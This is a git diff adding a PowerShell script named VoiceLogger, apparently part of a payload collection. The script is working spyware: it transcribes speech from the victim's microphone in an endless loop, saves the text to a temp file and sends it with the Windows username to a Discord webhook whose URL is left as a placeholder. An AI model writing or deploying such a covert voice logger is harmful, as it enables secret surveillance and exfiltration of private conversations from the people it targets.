diff --git a/Payloads/VoiceLogger/VL.ps1 b/Payloads/VoiceLogger/VL.ps1 new file mode 100644 index 0000000..9e46b31 --- /dev/null +++ b/Payloads/VoiceLogger/VL.ps1 @@ -0,0 +1,49 @@ +function DC-Upload { + + [CmdletBinding()] + param ( + [parameter(Position=0,Mandatory=$False)] + [string]$text + ) + + # $dc = 'YOUR DISCORD WEBHOOK GOES HERE IF YOU HOST YOUR OWN VERSION OF THIS PAYLOAD' + + $Body = @{ + 'username' = $env:username + 'content' = $text + } + + if (-not ([string]::IsNullOrEmpty($text))){Invoke-RestMethod -ContentType 'Application/Json' -Uri $dc -Method Post -Body ($Body | ConvertTo-Json)}; +} + + + +function voiceLogger { + + Add-Type -AssemblyName System.Speech + $recognizer = New-Object System.Speech.Recognition.SpeechRecognitionEngine + $grammar = New-Object System.Speech.Recognition.DictationGrammar + $recognizer.LoadGrammar($grammar) + $recognizer.SetInputToDefaultAudioDevice() + + while ($true) { + $result = $recognizer.Recognize() + if ($result) { + $results = $result.Text + Write-Output $results + $log = "$env:tmp/VoiceLog.txt" + echo $results > $log + $text = get-content $log -raw + DC-Upload $text + + # Use a switch statement with the $results variable + switch -regex ($results) { + '\bnote\b' {saps notepad} + '\bexit\b' {break} + } + } + } + Clear-Content -Path $log +} + +voiceLogger